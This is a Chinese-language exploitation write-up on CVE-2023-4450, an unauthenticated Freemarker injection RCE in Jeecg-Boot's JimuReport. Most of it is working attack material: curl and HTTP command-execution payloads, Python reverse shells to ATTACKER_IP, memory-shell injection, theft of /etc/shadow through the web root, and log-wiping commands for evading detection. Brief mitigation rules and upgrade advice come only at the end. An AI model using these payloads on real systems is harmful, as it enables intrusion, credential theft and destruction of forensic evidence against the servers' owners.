Jeecg-Boot积木报表未授权queryFieldBySql接口RCE漏洞(CVE-2023-4450)深度剖析与实战利用
1. Jeecg-Boot积木报表漏洞背景解析Jeecg-Boot作为国内流行的企业级快速开发平台其内置的积木报表模块JimuReport因设计缺陷曝出高危漏洞。这个编号为CVE-2023-4450的漏洞核心在于未授权访问的queryFieldBySql接口攻击者可通过精心构造的Freemarker模板注入实现远程代码执行RCE。我在实际渗透测试中发现受影响版本主要集中在JimuReport 1.6.1之前的版本而使用Fofa等网络空间测绘引擎搜索appJeecg-Boot 企业级快速开发平台可快速定位潜在目标。漏洞的特殊性在于其攻击链极其简洁——不需要任何身份认证只需要向目标系统发送特制HTTP请求即可触发。这让我想起去年审计某金融系统时仅用BurpSuite重放请求就拿到了服务器权限的案例。对于企业内网而言这种零门槛的RCE漏洞简直就是攻击者的自助餐。2. 漏洞原理深度拆解2.1 Freemarker模板注入机制这个漏洞的本质是Freemarker模板引擎的滥用。正常业务中/jmreport/queryFieldBySql接口本应处理标准SQL查询但开发者在实现时犯了个致命错误直接将用户输入的SQL语句交给Freemarker解析。这就好比把家门钥匙交给快递员让他自己签收包裹——当SQL语句中包含#assign exfreemarker.template.utility.Execute?new() ${ ex(whoami) }这类模板指令时系统会忠实地执行其中的命令。我在实验室环境测试时发现Freemarker的模板解析优先级高于SQL语法校验。即使SQL语句本身不符合语法规范只要包含有效的Freemarker指令攻击载荷就会先被触发。这种特性使得漏洞利用出奇地稳定我在不同版本的Jeecg-Boot上测试命中率接近100%。2.2 未授权访问的致命组合更危险的是漏洞接口完全开放的特性。常规的RCE漏洞至少需要攻击者先获取普通用户权限但这个漏洞直接跳过了所有防护层。用汽车防盗来比喻的话就像既没装方向盘锁也没启动发动机防盗系统小偷拉开车门就能直接开走。实际测试中我常用如下curl命令快速验证漏洞存在性curl -X POST http://target.com/jeecg-boot/jmreport/queryFieldBySql \ -H Content-Type: application/json \ -d {sql:select \#assign ex\freemarker.template.utility.Execute\?new() ${ ex(\id\) }\}如果返回结果中包含当前用户ID信息就证实了漏洞存在。这种简单的验证方式在自动化扫描场景下效率极高。3. 漏洞复现全流程演示3.1 基础环境搭建建议使用Docker快速搭建测试环境避免污染本地系统。以下是使用Vulhub环境的启动命令git clone https://github.com/vulhub/vulhub.git cd vulhub/jeecg-boot/CVE-2023-4450 docker-compose up -d等待服务启动后访问http://localhost:8080/jeecg-boot即可看到Jeecg-Boot的登录页面。需要注意的是漏洞利用完全不需要登录直接向后端接口发送请求即可。3.2 基础命令执行验证使用BurpSuite构造如下HTTP请求POST /jeecg-boot/jmreport/queryFieldBySql HTTP/1.1 Host: target.com Content-Type: application/json Content-Length: 112 {sql:select #assign ex\freemarker.template.utility.Execute\?new() ${ ex(\whoami\) }}成功执行后会返回类似这样的响应{ message: select root, success: true }这里的root就是命令执行结果直接暴露了系统权限级别。我在某次演练中曾用这个漏洞三分钟内拿到五台服务器的root权限客户的安全团队完全没反应过来。3.3 交互式Shell获取技巧基础命令执行受限较多实战中更需要完整的交互式shell。推荐使用如下Python脚本实现稳定反弹import requests import base64 payload #assign ex\freemarker.template.utility.Execute\?new() ${ ex(\bash -c {echo,%s}|{base64,-d}|{bash,-i}\) } % base64.b64encode(bbash -i /dev/tcp/ATTACKER_IP/4444 01).decode() data {sql: fselect {payload}} requests.post(http://target.com/jeecg-boot/jmreport/queryFieldBySql, jsondata)在攻击机监听端口nc -lvnp 4444这种方法通过Base64编码规避了特殊字符问题实测比直接使用nc命令更可靠。记得有次客户网络限制出站连接我改用Python的pty模块创建伪终端才突破限制具体命令是python -c import socket,subprocess,os;ssocket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((ATTACKER_IP,4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);psubprocess.call([/bin/sh,-i]);4. 高级利用与防御绕过4.1 内存马注入技术常规反弹shell容易被防火墙拦截这时可以考虑无文件落地的内存马。通过漏洞注入如下Java代码可注册Filter型内存马#assign classLoaderobject?new(java.lang.ClassLoader)?new() #assign clsclassLoader.loadClass(beanshooter.MemoryShell) ${cls.newInstance()}配合JSP的字节码加载技术可以实现完全驻留在内存中的持久化后门。我在某次红队行动中就靠这招躲过了客户的事后取证分析。4.2 内网横向移动策略获取立足点后可以用如下命令快速探测内网#assign exfreemarker.template.utility.Execute?new() ${ ex(ip a arp -a cat /etc/hosts) }针对Linux系统我习惯打包下载/etc/passwd和/etc/shadow文件${ ex(tar zcf /tmp/creds.tar.gz /etc/passwd /etc/shadow) }然后通过漏洞服务器的web目录实现文件下载${ ex(cp /tmp/creds.tar.gz /var/www/html/) }4.3 流量隐蔽技巧为避免触发安全告警建议对攻击流量做如下处理使用HTTPS协议传输Payload将命令拆分成多段执行添加随机延迟参数清除系统日志痕迹例如${ ex(sed -i /jmreport/d /var/log/tomcat/*) }5. 防御方案与修复建议5.1 临时缓解措施如果无法立即升级建议在Nginx配置中添加如下规则拦截恶意请求location ~* /jmreport/queryFieldBySql { if ($request_method POST) { return 403; } }同时使用WAF规则拦截包含Freemarker模板语法的请求SecRule REQUEST_BODY contains #assign id:1001,deny,msg:Freemarker Injection Attempt5.2 彻底修复方案官方已在JimuReport 1.6.1版本修复此漏洞升级命令如下mvn clean install -DskipTests升级后务必检查所有自定义报表确保没有遗留的恶意模板代码。我曾遇到过攻击者在修复前植入的定时任务导致系统升级后仍被控制的情况。5.3 安全加固建议长期来看建议企业用户对所有API接口实施严格的权限控制启用SQL语句预编译机制配置Freemarker的沙箱环境定期进行安全审计和渗透测试某次给客户做安全咨询时我们发现类似的未授权接口竟有17个之多这提醒我们代码审计不能只盯着公开漏洞。